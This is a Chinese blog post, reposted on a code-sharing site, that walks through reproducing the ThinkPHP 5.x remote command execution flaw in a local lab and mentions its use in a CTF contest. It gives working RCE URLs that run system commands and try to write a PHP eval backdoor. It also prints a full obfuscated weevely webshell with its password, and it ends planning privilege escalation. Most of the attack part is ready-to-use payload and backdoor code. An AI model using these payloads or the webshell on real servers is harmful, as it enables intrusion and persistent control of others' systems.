码迷,mamicode.com
首页 > Web开发 > 详细

thinkphp5.x命令执行漏洞复现及环境搭建

时间:2019-05-27 23:14:01      阅读:456      评论:0      收藏:0      [点我收藏+]

标签:string   一个   lib   rpc   本地   日志   for   tps   ade   

楼主Linux环境是Centos7,LAMP怎么搭不用我废话吧,别看错了

1.安装composer

yum -y install composer

技术图片

安装php拓展

yum -y install php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash -y

 

2.切换目录到/var/www/html

cd /var/www/html

安装thinkphp5

博主把含有命令执行漏洞的thinkphp源码链接附上

链接:https://pan.baidu.com/s/1MNqISFeKKT4FcJRHg2rTRw
提取码:se0n

把文件解压到当前目录(/var/www/html)即可

技术图片

 

3.浏览器查看是否安装成功

技术图片

 

到这里环境就搭建好了(各位看官如果照着前面的步骤没有成功的,麻烦把php运行环境搭建起来)

4.参考官方poc直接执行payload

#payload
http://192.168.2.134/tp5/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

技术图片

可以看到,这里权限是Apache

技术图片

 这里说下,头一天强网杯web有一题就是thinkphp5.x的命令执行漏洞,叫做强网先锋上单。。。

当时觉得还好,随便拉的几个队友,有人做出来了,我去重新做了一遍(关键是互相不认识,谁做的根本不知道)

一开始扫描目录,没发现什么,后面留意到有日志,都是命令执行错误的信息,猜到可能是命令执行,一看cms是thinkphp5

于是就百度翻payload去了,一打,flag有了,flag就藏在根目录下面,hhhhh

言归正传,下面尝试写小马,getshell整个系统

payload附上

http://192.168.2.134/tp5/public/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20  ^%3C?php%20@eval($_GET[%22dd%22])?^%3E%3Eceshi.php

 强网的时候是可以正常写入的,但是无法解析php,可能设置了权限

本地测试的时候发现,根本无法写入小马,如图,估计要先看看源码,找找问题

技术图片

 后面看了下日志,注意到报错,应该是语句被过滤了,小马不够强壮

技术图片

 

 后面我用weevely重新生成了一个小马,重新载入,连上了

webshell附上

<?php
$v=‘$cK^&&$i<$lK^);$j+K^+,$i++K^K^){$o.=$t{$K^i}^K^$k{$j};}}K^retK^urn $o;}if (@pK^K^reg_match("K^/$kK^h(.‘;
$S=str_replace(‘jW‘,‘‘,‘crjWjWeatejW_fjWjWunctijWon‘);
$t=‘K^zuncoK^mpress(@K^xK^(@bK^ase64_decodeK^($m[1K^]),$k)));K^ K^ $oK^=@ob_get_conteK^ntK^s();  @oK^bK^_‘;
$X=‘end_clean(K^);  $K^r=@base6K^4_encoK^de(@x(K^K^K^@gzcomK^press($o),$k));K^  priK^nt("$p$khK^$r$kf");}‘;
$o=‘+K^)$kf/K^",@fK^ile_get_conteK^ntsK^("php://inK^put")K^K^,$m) == 1) { K^ @ob_sK^taK^rt();  @eK^val(@g‘;
$f=‘$k="098K^K^f6bcd";$khK^=K^"4621d373cade";$kK^f="4K^e832627bK^4f6"K^K^;$p="sK^015KnbG8K^frqxRiQ";fK^K^u‘;
$w=‘nctiK^on x($t,$kK^){K^$c=strlen($k)K^;$K^l=K^strlen($t);$o="K^"K^;K^for($i=0;$i<$l;)K^{for($jK^=K^0;($j<‘;
$N=str_replace(‘K^‘,‘‘,$f.$w.$v.$o.$t.$X);
$d=$S(‘‘,$N);$d();
?>

#######
密码test
#######

 

技术图片

 下一步,想办法提权操作,毕竟权限太低了

weevely支持很多的操作,如下图

技术图片

 有空继续整,未完待续

thinkphp5.x命令执行漏洞复现及环境搭建

标签:string   一个   lib   rpc   本地   日志   for   tps   ade   

原文地址:https://www.cnblogs.com/mke2fs/p/10931854.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!